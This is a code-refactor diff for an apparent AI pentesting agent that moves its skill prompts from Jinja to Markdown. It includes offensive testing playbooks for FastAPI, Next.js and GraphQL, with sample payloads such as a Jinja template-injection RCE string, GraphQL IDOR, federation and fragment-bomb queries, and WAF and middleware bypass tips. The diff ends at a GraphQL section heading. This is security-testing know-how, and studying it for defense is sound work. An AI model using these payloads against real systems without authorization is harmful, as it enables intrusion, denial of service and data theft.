refactor: migrate skills from Jinja to Markdown

strix/llm/llm.py

@@ -90,7 +90,7 @@ class LLM:
                 *list(self.config.skills or []),
                 f"scan_modes/{self.config.scan_mode}",
             ]
-            skill_content = load_skills(skills_to_load, env)
+            skill_content = load_skills(skills_to_load)
             env.globals["get_skill"] = lambda name: skill_content.get(name, "")
 
             result = env.get_template("system_prompt.jinja").render(

strix/skills/__init__.py

@@ -1,5 +1,3 @@
-from jinja2 import Environment
-
 from strix.utils.resource_paths import get_strix_resource_path
 
 
@@ -15,7 +13,7 @@ def get_available_skills() -> dict[str, list[str]]:
             category_name = category_dir.name
             skills = []
 
-            for file_path in category_dir.glob("*.jinja"):
+            for file_path in category_dir.glob("*.md"):
                 skill_name = file_path.stem
                 skills.append(skill_name)
 
@@ -70,7 +68,7 @@ def generate_skills_description() -> str:
     return description
 
 
-def load_skills(skill_names: list[str], jinja_env: Environment) -> dict[str, str]:
+def load_skills(skill_names: list[str]) -> dict[str, str]:
     import logging
 
     logger = logging.getLogger(__name__)
@@ -84,22 +82,22 @@ def load_skills(skill_names: list[str], jinja_env: Environment) -> dict[str, str
             skill_path = None
 
             if "/" in skill_name:
-                skill_path = f"{skill_name}.jinja"
+                skill_path = f"{skill_name}.md"
             else:
                 for category, skills in available_skills.items():
                     if skill_name in skills:
-                        skill_path = f"{category}/{skill_name}.jinja"
+                        skill_path = f"{category}/{skill_name}.md"
                         break
 
                 if not skill_path:
-                    root_candidate = f"{skill_name}.jinja"
+                    root_candidate = f"{skill_name}.md"
                     if (skills_dir / root_candidate).exists():
                         skill_path = root_candidate
 
             if skill_path and (skills_dir / skill_path).exists():
-                template = jinja_env.get_template(skill_path)
+                full_path = skills_dir / skill_path
                 var_name = skill_name.split("/")[-1]
-                skill_content[var_name] = template.render()
+                skill_content[var_name] = full_path.read_text()
                 logger.info(f"Loaded skill: {skill_name} -> {var_name}")
             else:
                 logger.warning(f"Skill not found: {skill_name}")

strix/skills/coordination/root_agent.md

@@ -1,4 +1,5 @@
-<coordination_role>
+# ROOT COORDINATION AGENT
+
 You are a COORDINATION AGENT ONLY. You do NOT perform any security testing, vulnerability assessment, or technical work yourself.
 
 Your ONLY responsibilities:
@@ -12,9 +13,9 @@ CRITICAL RESTRICTIONS:
 - NEVER write detailed vulnerability reports (only compile final summaries)
 - ONLY use agent_graph and finish tools for coordination
 - You can create agents throughout the scan process, depending on the task and findings, not just at the beginning!
-</coordination_role>
 
-<agent_management>
+## Agent Management
+
 BEFORE CREATING AGENTS:
 1. Analyze the target scope and break into independent tasks
 2. Check existing agents to avoid duplication
@@ -29,13 +30,12 @@ COORDINATION GUIDELINES:
 - Ensure clear task boundaries and success criteria
 - Terminate redundant agents when objectives overlap
 - Use message passing only when essential (requests/answers or critical handoffs); avoid routine status messages and prefer batched updates
-</agent_management>
 
-<final_responsibilities>
+## Final Responsibilities
+
 When all agents complete:
 1. Collect findings from all agents
 2. Compile a final scan summary report
 3. Use finish tool to complete the assessment
 
 Your value is in orchestration, not execution.
-</final_responsibilities>

strix/skills/frameworks/fastapi.md

@@ -1,9 +1,11 @@
-<fastapi_security_testing_guide>
-<title>FASTAPI — ADVERSARIAL TESTING PLAYBOOK</title>
+# FASTAPI — ADVERSARIAL TESTING PLAYBOOK
 
-<critical>FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.</critical>
+## Critical
+
+FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.
+
+## Surface Map
 
-<surface_map>
 - ASGI stack: Starlette middlewares (CORS, TrustedHost, ProxyHeaders, Session), exception handlers, lifespan events
 - Routers/sub-apps: APIRouter with prefixes/tags, mounted apps (StaticFiles, admin subapps), `include_router`, versioned paths
 - Security and DI: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes, per-router vs per-route dependencies
@@ -12,16 +14,16 @@
 - Files and static: `UploadFile`, `File`, `FileResponse`, `StaticFiles` mounts, template engines (`Jinja2Templates`)
 - Channels: HTTP (sync/async), WebSocket, StreamingResponse/SSE, BackgroundTasks/Task queues
 - Deployment: Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
-</surface_map>
 
-<methodology>
+## Methodology
+
 1. Enumerate routes from OpenAPI and via crawling; diff with 404-fuzzing for hidden endpoints (`include_in_schema=False`).
 2. Build a Principal × Channel × Content-Type matrix (unauth, user, staff/admin; HTTP vs WebSocket; JSON/form/multipart) and capture baselines.
 3. For each route, identify dependencies (router-level and route-level). Attempt to satisfy security dependencies minimally, then mutate context (tokens, scopes, tenant headers) and object IDs.
 4. Compare behavior across deployments: dev/stage/prod often differ in middlewares (CORS, TrustedHost, ProxyHeaders) and docs exposure.
-</methodology>
 
-<high_value_targets>
+## High Value Targets
+
 - `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map; securitySchemes and server URLs)
 - Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE, scope checks
 - Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
@@ -29,103 +31,105 @@
 - WebSocket endpoints carrying notifications, admin channels, or commands
 - Background job creation/fetch (`/jobs/{id}`, `/tasks/{id}/result`)
 - Mounted subapps (admin UI, storage browsers, metrics/health endpoints)
-</high_value_targets>
 
-<advanced_techniques>
-<openapi_and_docs>
+## Advanced Techniques
+
+### Openapi And Docs
+
 - Try default and alternate locations: `/openapi.json`, `/docs`, `/redoc`, `/api/openapi.json`, `/internal/openapi.json`.
 - If OpenAPI is exposed, mine: paths, parameter names, securitySchemes, scopes, servers; find endpoints hidden in UI but present in schema.
 - Schema drift: endpoints with `include_in_schema=False` won’t appear—use wordlists based on tags/prefixes and common admin/debug names.
-</openapi_and_docs>
 
-<dependency_injection_and_security>
+### Dependency Injection And Security
+
 - Router vs route dependencies: routes may miss security dependencies present elsewhere; check for unprotected variants of protected actions.
 - Minimal satisfaction: `OAuth2PasswordBearer` only yields a token string—verify if any route treats token presence as auth without verification.
 - Scope checks: ensure scopes are enforced by the dependency (e.g., `Security(...)`); routes using `Depends` instead may ignore requested scopes.
 - Header/param aliasing: DI sources headers/cookies/query by name; try case variations and duplicates to influence which value binds.
-</dependency_injection_and_security>
 
-<auth_and_jwt>
+### Auth And Jwt
+
 - Token misuse: developers may decode JWTs without verifying signature/issuer/audience; attempt unsigned/attacker-signed tokens and cross-service audiences.
 - Algorithm/key confusion: try HS/RS cross-use if verification is not pinned; inject `kid` header targeting local files/paths where custom key lookup exists.
 - Session bridges: check cookies set via SessionMiddleware or custom cookies. Attempt session fixation and forging if weak `secret_key` or predictable signing is used.
 - Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement if OAuth/OIDC is integrated.
-</auth_and_jwt>
 
-<cors_and_csrf>
+### Cors And Csrf
+
 - CORS reflection: broad `allow_origin_regex` or mis-specified origins can permit cross-site reads; test arbitrary Origins and credentialed requests.
 - CSRF: FastAPI/Starlette lack built-in CSRF. If cookies carry auth, attempt state-changing requests via cross-site forms/XHR; validate origin header checks and same-site settings.
-</cors_and_csrf>
 
-<proxy_and_host_trust>
+### Proxy And Host Trust
+
 - ProxyHeadersMiddleware: if enabled without network boundary, spoof `X-Forwarded-For/Proto` to influence auth/IP gating and secure redirects.
 - TrustedHostMiddleware absent or lax: perform Host header poisoning; attempt password reset links / absolute URL generation under attacker host.
 - Upstream/CDN cache keys: ensure Vary on Authorization/Cookie/Tenant; try cache key confusion to leak personalized responses.
-</proxy_and_host_trust>
 
-<static_and_uploads>
+### Static And Uploads
+
 - UploadFile.filename: attempt path traversal and control characters; verify server joins/sanitizes and enforces storage roots.
 - FileResponse/StaticFiles: confirm directory boundaries and index/auto-listing; probe symlinks and case/encoding variants.
 - Parser differentials: send JSON vs multipart for the same route to hit divergent code paths/validators.
-</static_and_uploads>
 
-<template_injection>
+### Template Injection
+
 - Jinja2 templates via `TemplateResponse`: search for unescaped injection in variables and filters. Probe with minimal expressions:
-{% raw %}- `{{7*7}}` → arithmetic confirmation
-- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts{% endraw %}
+```
+- `{{7*7}}` → arithmetic confirmation
+- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts
+```
 - Confirm autoescape and strict sandboxing; inspect custom filters/globals.
-</template_injection>
 
-<ssrf_and_outbound>
+### Ssrf And Outbound
+
 - Endpoints fetching user-supplied URLs (imports, previews, webhooks validation): test loopback/RFC1918/IPv6, redirects, DNS rebinding, and header control.
 - Library behavior (httpx/requests): examine redirect policy, header forwarding, and protocol support; try `file://`, `ftp://`, or gopher-like shims if custom clients are used.
-</ssrf_and_outbound>
 
-<websockets>
+### Websockets
+
 - Authenticate each connection (query/header/cookie). Attempt cross-origin handshakes and cookie-bearing WS from untrusted origins.
 - Topic naming and authorization: if using user/tenant IDs in channels, subscribe/publish to foreign IDs.
 - Message-level checks: ensure per-message authorization, not only at handshake.
-</websockets>
 
-<background_tasks_and_jobs>
+### Background Tasks And Jobs
+
 - BackgroundTasks that act on IDs must re-enforce ownership/tenant at execution time. Attempt to fetch/cancel others’ jobs by referencing their IDs.
 - Export/import pipelines: test job/result endpoints for IDOR and cross-tenant leaks.
-</background_tasks_and_jobs>
 
-<multi_app_mounting>
+### Multi App Mounting
+
 - Mounted subapps (e.g., `/admin`, `/static`, `/metrics`) may bypass global middlewares. Confirm middleware parity and auth on mounts.
-</multi_app_mounting>
-</advanced_techniques>
 
-<bypass_techniques>
+## Bypass Techniques
+
 - Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` to traverse alternate validators/handlers.
 - Parameter duplication and case variants to exploit DI precedence.
 - Method confusion via proxies (e.g., `X-HTTP-Method-Override`) if upstream respects it while app does not.
 - Race windows around dependency-validated state transitions (issue token then mutate with parallel requests).
-</bypass_techniques>
 
-<special_contexts>
-<pydantic_edges>
+## Special Contexts
+
+### Pydantic Edges
+
 - Coercion: strings to ints/bools, empty strings to None; exploit truthiness and boundary conditions.
 - Extra fields: if models allow/ignore extras, sneak in control fields for downstream logic (scope/role/ownerId) that are later trusted.
 - Unions and `Annotated`: craft shapes hitting unintended branches.
-</pydantic_edges>
 
-<graphql_and_alt_stacks>
+### Graphql And Alt Stacks
+
 - If GraphQL (Strawberry/Graphene) is mounted, validate resolver-level authorization and IDOR on node/global IDs.
 - If SQLModel/SQLAlchemy present, probe for raw query usage and row-level authorization gaps.
-</graphql_and_alt_stacks>
-</special_contexts>
 
-<validation>
+## Validation
+
 1. Show unauthorized data access or action with side-by-side owner vs non-owner requests (or different tenants).
 2. Demonstrate cross-channel consistency (HTTP and WebSocket) for the same rule.
 3. Include proof where proxies/headers/caches alter outcomes (Host/XFF/CORS).
 4. Provide minimal payloads confirming template/SSRF execution or token misuse, with safe or OAST-based oracles.
 5. Document exact dependency paths (router-level, route-level) that missed enforcement.
-</validation>
 
-<pro_tips>
+## Pro Tips
+
 1. Always fetch `/openapi.json` first; it’s the blueprint. If hidden, brute-force likely admin/report/export routes.
 2. Trace dependencies per route; map which ones enforce auth/scopes vs merely parse input.
 3. Treat tokens returned by `OAuth2PasswordBearer` as untrusted strings—verify actual signature and claims on the server.
@@ -136,7 +140,7 @@
 8. For WebSockets, test cookie-based auth, origin restrictions, and per-message authorization.
 9. Mine client bundles/env for secret paths and preview/admin flags; many teams hide routes via UI only.
 10. Keep PoCs minimal and durable (IDs, headers, small payloads) and prefer reproducible diffs over noisy payloads.
-</pro_tips>
 
-<remember>Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.</remember>
-</fastapi_security_testing_guide>
+## Remember
+
+Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.

strix/skills/frameworks/nextjs.md

@@ -1,9 +1,11 @@
-<nextjs_security_testing_guide>
-<title>NEXT.JS — ADVERSARIAL TESTING PLAYBOOK</title>
+# NEXT.JS — ADVERSARIAL TESTING PLAYBOOK
 
-<critical>Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.</critical>
+## Critical
+
+Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.
+
+## Surface Map
 
-<surface_map>
 - Routers: App Router (`app/`) and Pages Router (`pages/`) coexist; test both
 - Runtimes: Node.js vs Edge (V8 isolates with restricted APIs)
 - Data paths: RSC (server components), Client components, Route Handlers (`app/api/**`), API routes (`pages/api/**`)
@@ -12,26 +14,27 @@
 - Images: `next/image` optimization and remote loader
 - Auth: NextAuth.js (callbacks, CSRF/state, callbackUrl), custom JWT/session bridges
 - Server Actions: streamed POST with `Next-Action` header and action IDs
-</surface_map>
 
-<methodology>
+## Methodology
+
 1. Inventory routes (pages + app), static vs dynamic segments, and params. Map middleware coverage and runtime per path.
 2. Capture baseline for each role (unauth, user, admin) across SSR, API routes, Route Handlers, Server Actions, and streaming data.
 3. Diff responses while toggling runtime (Edge/Node), content-type, fetch cache directives, and preview/draft mode.
 4. Probe caching and revalidation boundaries (ISR, RSC fetch, CDN) for cross-user/tenant leaks.
-</methodology>
 
-<high_value_targets>
+## High Value Targets
+
 - Middleware-protected routes (auth, geo, A/B)
 - Admin/staff paths, draft/preview content, on-demand revalidate endpoints
 - RSC payloads and flight data, streamed responses (server actions)
 - Image optimizer and custom loaders, remotePatterns/domains
 - NextAuth callbacks (`/api/auth/callback/*`), sign-in providers, CSRF/state handling
 - Edge-only features (bot protection, IP gates) and their Node equivalents
-</high_value_targets>
 
-<advanced_techniques>
-<route_enumeration>
+## Advanced Techniques
+
+### Route Enumeration
+
 - __BUILD_MANIFEST.sortedPages: Execute `console.log(__BUILD_MANIFEST.sortedPages.join('\n'))` in browser console to instantly reveal all registered routes (Pages Router and static App Router paths compiled at build time)
 - __NEXT_DATA__: Inspect `<script id="__NEXT_DATA__">` for serverside props, pageProps, buildId, and dynamic route params on current page; reveals data flow and prop structure
 - Source maps exposure: Check `/_next/static/` for exposed .map files revealing full route structure, server action IDs, API endpoints, and internal function names
@@ -41,89 +44,88 @@
 - Sitemap/robots leakage: Check `/sitemap.xml`, `/robots.txt`, and `/sitemap-*.xml` for unintended exposure of admin/internal/preview paths
 - Server action discovery: Inspect Network tab for POST requests with `Next-Action` header; extract action IDs from response streams and client hydration data
 - Environment variable leakage: Execute `Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))` in console to list public env vars; grep bundles for 'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD' to find accidentally leaked credentials
-</route_enumeration>
 
-<middleware_bypass>
+### Middleware Bypass
+
 - Test for CVE-class middleware bypass via `x-middleware-subrequest` crafting and `x-nextjs-data` probing. Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers and attempt bypass on protected routes.
 - Attempt direct route access on Node vs Edge runtimes; confirm protection parity.
-</middleware_bypass>
 
-<server_actions>
+### Server Actions
+
 - Capture streamed POSTs containing `Next-Action` headers. Map hashed action IDs via source maps or specialized tooling to discover hidden actions.
 - Invoke actions out of UI flow and with alternate content-types; verify server-side authorization is enforced per action and not assumed from client state.
 - Try cross-tenant/object references within action payloads to expose BOLA/IDOR via server actions.
-</server_actions>
 
-<rsc_and_cache>
+### Rsc And Cache
+
 - RSC fetch cache: probe `fetch` cache modes (force-cache, default, no-store) and revalidate tags/paths. Look for user-bound data cached without identity keys (ETag/Set-Cookie unaware).
 - Confirm that personalized data is rendered via `no-store` or properly keyed; attempt cross-user content via shared caches/CDN.
 - Inspect Flight data streams for serialized sensitive fields leaking through props.
-</rsc_and_cache>
 
-<isr_and_revalidation>
+### Isr And Revalidation
+
 - Identify ISR pages (stale-while-revalidate). Check if responses may include user-bound fragments or tenant-dependent content.
 - On-demand revalidation endpoints: look for weak secrets in URLs, referer-disclosed tokens, or unvalidated hosts triggering `revalidatePath`/`revalidateTag`.
 - Attempt header-smuggling or method variations to trigger revalidation flows.
-</isr_and_revalidation>
 
-<draft_preview_mode>
+### Draft Preview Mode
+
 - Draft/preview mode toggles via secret URLs/cookies; search for preview enable endpoints and secrets in client bundles/env leaks.
 - Try setting preview cookies from subdomains, alternate paths, or through open redirects; observe content differences and persistence.
-</draft_preview_mode>
 
-<next_image_ssrf>
+### Next Image Ssrf
+
 - Review `images.domains`/`remotePatterns` in `next.config.js`; test SSRF to internal hosts (IPv4/IPv6 variants, DNS rebinding) if patterns are broad.
 - Custom loader functions may fetch with arbitrary URLs; test protocol smuggling and redirection chains.
 - Attempt cache poisoning: craft same URL with different normalization to affect other users.
-</next_image_ssrf>
 
-<nextauth_pitfalls>
+### Nextauth Pitfalls
+
 - State/nonce/PKCE: validate per-provider correctness; attempt missing/relaxed checks leading to login CSRF or token mix-up.
 - Callback URL restrictions: open redirect in `callbackUrl` or mis-scoped allowed hosts; hijack sessions by forcing callbacks.
 - JWT/session bridges: audience/issuer not enforced across API routes/Route Handlers; attempt cross-service token reuse.
-</nextauth_pitfalls>
 
-<edge_runtime_diffs>
+### Edge Runtime Diffs
+
 - Edge runtime lacks certain Node APIs; defenses relying on Node-only modules may be skipped. Compare behavior of the same route in Edge vs Node.
 - Header trust and IP determination can differ at the edge; test auth decisions tied to `x-forwarded-*` variance.
-</edge_runtime_diffs>
 
-<client_and_dom>
+### Client And Dom
+
 - Identify `dangerouslySetInnerHTML`, Markdown renderers, and user-controlled href/src attributes. Validate CSP/Trusted Types coverage for SSR/CSR/hydration.
 - Attack hydration boundaries: server vs client render mismatches can enable gadget-based XSS.
-</client_and_dom>
 
-<data_fetching_over_exposure>
+### Data Fetching Over Exposure
+
 - getServerSideProps/getStaticProps leakage: Execute `JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps` in console to inspect all server-fetched data; look for sensitive fields (emails, tokens, internal IDs, full user objects) passed to client but not rendered in UI
 - Over-fetched database queries: Check if pageProps include entire user records, relations, or admin-only fields when only username is displayed; common when using ORM select-all patterns
 - API response pass-through: Verify if API responses are sanitized before passing to props; developers often forward entire responses including metadata, cursors, or debug info
 - Environment-dependent data: Test if staging/dev accidentally exposes more fields in props than production due to inconsistent serialization logic
 - Nested object inspection: Drill into nested props objects; look for `_metadata`, `_internal`, `__typename` (GraphQL), or framework-added fields containing sensitive context
-</data_fetching_over_exposure>
-</advanced_techniques>
 
-<bypass_techniques>
+## Bypass Techniques
+
 - Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` to traverse alternate code paths.
 - Method override/tunneling: `_method`, `X-HTTP-Method-Override`, GET on endpoints unexpectedly accepting writes.
 - Case/param aliasing and query duplication affecting middleware vs handler parsing.
 - Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) to leak personalized SSR/ISR content.
 - API route path normalization: Test `/api/users` vs `/api/users/` vs `/api//users` vs `/api/./users`; middleware may normalize differently than route handlers, allowing protection bypass. Try double slashes, trailing slashes, and dot segments.
 - Parameter pollution: Send duplicate query params (`?id=1&id=2`) or array notation (`?filter[]=a&filter[]=b`) to exploit parsing differences between middleware (which may check first value) and handler (which may use last or array).
-</bypass_techniques>
 
-<special_contexts>
-<uploads_and_files>
+## Special Contexts
+
+### Uploads And Files
+
 - API routes and Route Handlers handling file uploads: check MIME sniffing, Content-Disposition, stored path traversal, and public serving of user files.
 - Validate signing/scoping of any generated file URLs (short TTL, audience-bound).
-</uploads_and_files>
 
-<integrations_and_webhooks>
+### Integrations And Webhooks
+
 - Webhooks that trigger revalidation/imports: require HMAC verification; test with replay and cross-tenant object IDs.
 - Analytics/AB testing flags controlled via cookies/headers; ensure they do not unlock privileged server paths.
-</integrations_and_webhooks>
-</special_contexts>
 
-<validation>
+## Validation
+
 1. Provide side-by-side requests for different principals showing cross-user/tenant content or actions.
 2. Prove cache boundary failure (RSC/ISR/CDN) with response diffs or ETag collisions.
 3. Demonstrate server action invocation outside UI with insufficient authorization checks.
@@ -133,9 +135,9 @@
 7. For leaked credentials: test API keys with minimal read-only calls; filter placeholders (YOUR_API_KEY, demo-token); confirm keys match provider patterns (sk_live_*, pk_prod_*).
 8. For __NEXT_DATA__ over-exposure: test cross-user (User A's props should not contain User B's PII); verify exposed fields are not in DOM; validate token validity with API calls.
 9. For path normalization bypasses: show differential responses (403 vs 200 for path variants); redirects (307/308) don't count—only direct access bypasses matter.
-</validation>
 
-<pro_tips>
+## Pro Tips
+
 1. Enumerate with both App and Pages routers: many apps ship a hybrid surface.
 2. Treat caching as an identity boundary—test with cookies stripped, altered, and with Vary/ETag diffs.
 3. Decode client bundles for preview/revalidate secrets, action IDs, and hidden routes.
@@ -146,7 +148,7 @@
 8. Validate negative paths: other-user IDs, other-tenant headers/subdomains, lower roles.
 9. Focus on export/report/download endpoints; they often bypass resolver-level checks.
 10. Document minimal, reproducible PoCs; avoid noisy payloads—prefer precise diffs.
-</pro_tips>
 
-<remember>Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.</remember>
-</nextjs_security_testing_guide>
+## Remember
+
+Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.

strix/skills/protocols/graphql.md

@@ -1,204 +1,206 @@
-<graphql_protocol_guide>
-<title>GRAPHQL — ADVANCED TESTING AND EXPLOITATION</title>
+# GRAPHQL — ADVANCED TESTING AND EXPLOITATION
 
-<critical>GraphQL’s flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.</critical>
+## Critical
+
+GraphQL’s flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.
+
+## Scope
 
-<scope>
 - Queries, mutations, subscriptions (graphql-ws, graphql-transport-ws)
 - Persisted queries/Automatic Persisted Queries (APQ)
 - Federation (Apollo/GraphQL Mesh): _service SDL and _entities
 - File uploads (GraphQL multipart request spec)
 - Relay conventions: global node IDs, connections/cursors
-</scope>
 
-<methodology>
+## Methodology
+
 1. Fingerprint endpoint(s), transport(s), and stack (framework, plugins, gateway). Note GraphiQL/Playground exposure and CORS/credentials.
 2. Obtain multiple principals (unauth, basic, premium, admin/staff) and capture at least one valid object ID per subject.
 3. Acquire schema via introspection; if disabled, infer iteratively from errors, field suggestions, __typename probes, vocabulary brute-force.
 4. Build an Actor × Operation × Type/Field matrix. Exercise each resolver path with swapped IDs, roles, tenants, and channels (REST proxies, GraphQL HTTP, WS).
 5. Validate consistency: same authorization and validation across queries, mutations, subscriptions, batch/alias, persisted queries, and federation.
-</methodology>
 
-<discovery_techniques>
-<endpoint_finding>
+## Discovery Techniques
+
+### Endpoint Finding
+
 - Common paths: /graphql, /api/graphql, /v1/graphql, /gql
 - Probe with minimal canary:
-{% raw %}
+```
 POST /graphql {"query":"{__typename}"}
 GET  /graphql?query={__typename}
-{% endraw %}
+```
 - Detect GraphiQL/Playground; note if accessible cross-origin and with credentials.
-</endpoint_finding>
 
-<introspection_and_inference>
+### Introspection And Inference
+
 - If enabled, dump full schema; otherwise:
   - Use __typename on candidate fields to confirm types
   - Abuse field suggestions and error shapes to enumerate names/args
   - Infer enums from “expected one of” errors; coerce types by providing wrong shapes
   - Reconstruct edges from pagination and connection hints (pageInfo, edges/node)
-</introspection_and_inference>
 
-<schema_construction>
+### Schema Construction
+
 - Map root operations, object types, interfaces/unions, directives (@auth, @defer, @stream), and custom scalars (Upload, JSON, DateTime)
 - Identify sensitive fields: email, tokens, roles, billing, file keys, admin flags
 - Note cascade paths where child resolvers may skip auth under parent assumptions
-</schema_construction>
-</discovery_techniques>
 
-<exploitation_techniques>
-<authorization_and_idor>
+## Exploitation Techniques
+
+### Authorization And Idor
+
 - Test field-level and edge-level checks, not just top-level gates. Pair owned vs foreign IDs within the same request via aliases to diff responses.
-{% raw %}
+```
 query {
   me { id }
   a: order(id:"A_OWNER") { id total owner { id email } }
   b: order(id:"B_FOREIGN") { id total owner { id email } }
 }
-{% endraw %}
+```
 - Probe mutations for partial updates that bypass validation (JSON Merge Patch semantics in inputs).
 - Validate node/global ID resolvers (Relay) bind to the caller; decode/replace base64 IDs and compare access.
-</authorization_and_idor>
 
-<batching_and_alias>
+### Batching And Alias
+
 - Alias to perform many logically separate reads in one operation; watch for per-request vs per-field auth discrepancies
 - If array batching is supported (non-standard), submit multiple operations to bypass rate limits and achieve partial failures
-{% raw %}
+```
 query {
   u1:user(id:"1"){email}
   u2:user(id:"2"){email}
   u3:user(id:"3"){email}
 }
-{% endraw %}
-</batching_and_alias>
+```
 
-<variable_and_shape_abuse>
-- Scalars vs objects vs arrays: {% raw %}{id:123}{% endraw} vs {% raw %}{id:"123"}{% endraw} vs {% raw %}{id:[123]}{% endraw}; send null/empty/0/-1 and extra object keys retained by backend
-- Duplicate keys in JSON variables: {% raw %}{"id":1,"id":2}{% endraw} (parser precedence), default argument values, coercion errors leaking field names
-</variable_and_shape_abuse>
+### Variable And Shape Abuse
+
+- Scalars vs objects vs arrays: `{id:123}` vs `{id:"123"}` vs `{id:[123]}`; send null/empty/0/-1 and extra object keys retained by backend
+- Duplicate keys in JSON variables: `{"id":1,"id":2}` (parser precedence), default argument values, coercion errors leaking field names
+
+### Cursor And Projection
 
-<cursor_and_projection>
 - Decode cursors (often base64) to manipulate offsets/IDs and skip filters
 - Abuse selection sets and fragments to force overfetching of sensitive subfields
-</cursor_and_projection>
 
-<file_uploads>
+### File Uploads
+
 - GraphQL multipart: test multiple Upload scalars, filename/path tricks, unexpected content-types, oversize chunks; verify server-side ownership/scoping for returned URLs
-</file_uploads>
-</exploitation_techniques>
 
-<advanced_techniques>
-<introspection_bypass>
+## Advanced Techniques
+
+### Introspection Bypass
+
 - Field suggestion leakage: submit near-miss names to harvest suggestions
 - Error taxonomy: different codes/messages for unknown field vs unauthorized field reveal existence
 - __typename sprinkling on edges to confirm types without schema
-</introspection_bypass>
 
-<defer_and_stream>
+### Defer And Stream
+
 - Use @defer and @stream to obtain partial results or subtrees hidden by parent checks; confirm server supports incremental delivery
-{% raw %}
+```
 query @defer {
   me { id }
   ... @defer { adminPanel { secrets } }
 }
-{% endraw %}
-</defer_and_stream>
+```
+
+### Fragment And Complexity Bombs
 
-<fragment_and_complexity_bombs>
 - Recursive fragment spreads and wide selection sets cause CPU/memory spikes; craft minimal reproducible bombs to validate cost limits
-{% raw %}
+```
 fragment x on User { friends { ...x } }
 query { me { ...x } }
-{% endraw %}
+```
 - Validate depth/complexity limiting, query cost analyzers, and timeouts
-</fragment_and_complexity_bombs>
 
-<federation>
+### Federation
+
 - Apollo Federation: query _service { sdl } if exposed; target _entities to materialize foreign objects by key without proper auth in subgraphs
-{% raw %}
+```
 query {
   _entities(representations:[
     {__typename:"User", id:"TARGET"}
   ]) { ... on User { email roles } }
 }
-{% endraw %}
+```
 - Look for auth done at gateway but skipped in subgraph resolvers; cross-subgraph IDOR via inconsistent ownership checks
-</federation>
 
-<subscriptions>
+### Subscriptions
+
 - Check message-level authorization, not only handshake; attempt to subscribe to channels for other users/tenants; test cross-tenant event leakage
 - Abuse filter args in subscription resolvers to reference foreign IDs
-</subscriptions>
 
-<persisted_queries>
+### Persisted Queries
+
 - APQ hashes can be guessed/bruteforced or leaked from clients; replay privileged operations by supplying known hashes with attacker variables
 - Validate that hash→operation mapping enforces principal and operation allowlists
-</persisted_queries>
 
-<csrf_and_cors>
+### Csrf And Cors
+
 - If cookie-auth is used and GET is accepted, test CSRF on mutations via query parameters; verify SameSite and origin checks
 - Cross-origin GraphiQL/Playground exposure with credentials can leak data via postMessage bridges
-</csrf_and_cors>
 
-<waf_evasion>
+### Waf Evasion
+
 - Reshape queries: comments, block strings, Unicode escapes, alias/fragment indirection, JSON variables vs inline args, GET vs POST vs application/graphql
 - Split fields across fragments and inline spreads to avoid naive signatures
-</waf_evasion>
-</advanced_techniques>
 
-<bypass_techniques>
-<transport_and_parsers>
+## Bypass Techniques
+
+### Transport And Parsers
+
 - Toggle content-types: application/json, application/graphql, multipart/form-data; try GET with query and variables params
 - HTTP/2 multiplexing and connection reuse to widen timing windows and rate limits
-</transport_and_parsers>
 
-<naming_and_aliasing>
+### Naming And Aliasing
+
 - Case/underscore variations, Unicode homoglyphs (server-dependent), aliases masking sensitive field names
-</naming_and_aliasing>
 
-<gateway_and_cache>
+### Gateway And Cache
+
 - CDN/key confusion: responses cached without considering Authorization or variables; manipulate Vary and Accept headers
 - Redirects and 304/206 behaviors leaking partially cached GraphQL responses
-</gateway_and_cache>
-</bypass_techniques>
 
-<special_contexts>
-<relay>
+## Special Contexts
+
+### Relay
+
 - node(id:…) global resolution: decode base64, swap type/id pairs, ensure per-type authorization is enforced inside resolvers
 - Connections: verify that filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries
-</relay>
 
-<server_plugins>
+### Server Plugins
+
